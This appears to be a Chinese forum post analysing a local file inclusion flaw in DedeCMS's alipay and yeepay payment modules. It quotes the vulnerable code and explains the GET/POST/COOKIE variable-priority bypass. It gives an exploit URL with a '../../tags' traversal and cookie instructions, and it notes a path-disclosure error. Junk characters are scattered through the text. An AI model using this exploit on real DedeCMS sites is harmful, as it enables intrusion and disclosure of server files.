晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)# l7 I; ~) H4 D( x4 R! z8 L
4 _% ^ {: x: r; Y6 A0 F出现漏洞的两个文件为:
4 I" ^ w5 Z$ Z' ZInclude/payment/alipay.php
( q! M6 i7 J# N* M/ x& lInclude/payment/yeepay.php
0 R# x+ G' P* Y( w4 r漏洞均出现在respond方法里,估计这两个文件是临时工写的。
4 m$ E3 ], Y& t% y6 v
% ~4 H2 m+ e1 r8 o \# D4 vInclude/payment/alipay.php# u7 H& _" n, B
5 H: |- N0 Q( ^......
9 a9 q) Q5 X1 K) q4 E function respond()
: ]; Q% [! v8 ^1 n( t( S- H {- K X6 \1 T4 I" O6 e6 a5 X; S
if (!empty($_POST))+ i# o: O; r" _7 m; j- U) f
{
/ o& P) a, {% R6 |( u" s6 y foreach($_POST as $key => $data)
& Z" {* S9 Q# p$ S- i' w3 B+ r7 C {( V! N- q! w$ G4 c# v
$_GET[$key] = $data;
/ H+ m' y3 n; T4 T" a6 [ }' i: }6 j8 T& }9 J
}5 ?1 v) V- i( R3 |! d1 j: g( G! w# Q5 l
/* 引入配置文件 */
j4 |4 }, r) ?, H [: m- U! ?* y require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
1 g' q. G" T5 }6 r...... + z% x8 O. h( B8 J. i1 a
" i2 D: {# }6 u6 X# H8 a1 F( ~4 n' s
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
- \; M, y' F6 A1 p3 Y3 f t0 y6 M7 m8 e2 Q; V9 P9 o
Include/payment/yeepay.php7 f8 O, y% B2 S# w; W
* Z( s! Y* A3 V @ # A, W4 {0 }2 A2 ^8 p' O. I. _' B
" z( i1 K1 Y9 Z. V
......
, p4 n' N4 w2 e& U! w6 f function respond()3 k. x h y, P6 Y
{
, ~6 r& E, V1 j ) W# y# B- f, ]; _. }5 B
/* 引入配置文件 */$ T' k) S7 [ r# M9 L( r
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
$ b( q4 |. z* F. p3 \* }! N0 ` ) |0 r' D7 Z2 S" O. ~0 P6 Y8 {- [
$p1_MerId = trim($payment['yp_account']);
# B/ {" b( \' r+ j; w' t6 w" h+ k: M $merchantKey = trim($payment['yp_key']);
/ l/ b, z$ \' _...... * D$ d1 l9 s w8 ]8 T$ t
9 Q' W. o- p% }5 Q9 N$ c* k2 X4 E+ v3 n" F3 o- v' R7 t
+ l: E+ h, X) [8 a
/ h5 M* O& U! {% o8 Y. g* [
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
; m/ f, ]+ w" D
5 i) A% E6 J) z这两个方法在plus/carbuyaction.php文件调用。
1 Z a& u7 p4 P, i/ l3 \
! C M0 A/ T" ?6 ]8 Qplus/carbuyaction.php4 M1 m! F+ E d& l0 m) |! C$ Z
" e6 U. F8 g* `. ^....... X) T/ l7 R$ E
} else if ($dopost == 'return') {$ s" L5 Q5 T( O( p/ D8 f
$write_list = array('alipay', 'bank', 'cod', 'yeepay');1 i% Q1 F# {9 U) ^7 b
if (in_array($code, $write_list))/ @. L* S4 `- W5 f. {- \9 z
{
~' w: x: I+ w5 D2 ^8 b require_once DEDEINC.'/payment/'.$code.'.php';
7 ^ b/ B8 _0 ~( t, x% j $pay = new $code;
1 ^2 E0 Q0 u+ m7 V% b $msg=$pay->respond();
& ^$ F! L- E5 T0 y ShowMsg($msg, "javascript:;", 0, 3000);8 i0 j( H; Q B" g: e6 A/ W
exit();
, c- g+ t# E, M6 [( W } else {/ h' Q6 D5 W& }# x R
exit('Error:File Type Can\'t Recognized!');
- }& k4 f0 a4 p: N; | }/ o3 a" h G1 g2 A; q' L. h
}7 N% t5 n$ ]; N$ l2 d" j) c! ^9 w
...... + V" Y* z2 f( ]' A1 S* \
; k: G. C9 m) r* {4 d- C. @6 e
0 X9 o/ v* C$ z$ Y# {3 T4 \
6 s7 }4 K- H8 ]3 B' x
% A5 s7 ?5 e! Q! f, h 5 l" t2 q9 P9 r# X$ L
! B$ f) ~8 P2 u1 z
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
( K+ N+ _) r( a' M' A) d4 n! E所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。9 ^: g: t1 S' V! V
7 t6 P" f/ z5 G2 A2 V回到include/common.inc.php来看看他的机制。
1 X$ P: R6 _6 ^
. U% n: r) V9 m' m+ f
- b5 `4 }9 f- b8 J( A- g v8 H; i; A; n: N
......: @1 g" P5 v4 i6 f7 c
foreach(Array('_GET','_POST','_COOKIE') as $_request)0 I: L6 H7 w7 G; t$ [
{
- Z# o6 ]! j, Z5 W7 [ foreach($$_request as $_k => $_v)
2 I2 \* o: x! s3 }: T% q+ u L0 h {
; X5 R: _& _# q& x if($_k == 'nvarname') ${$_k} = $_v;% r3 d) s3 z! l _% F& ]% `
else ${$_k} = _RunMagicQuotes($_v);
, w7 }/ g' j8 F" |1 t: a( @% } }
+ ~$ O+ p% R. ?+ R# _7 v}
. r+ v z. E9 w...... 1 X" u3 m ] [- J) p
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
4 H8 l: U3 ^! N* z& y( F" h: Y) }( j由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |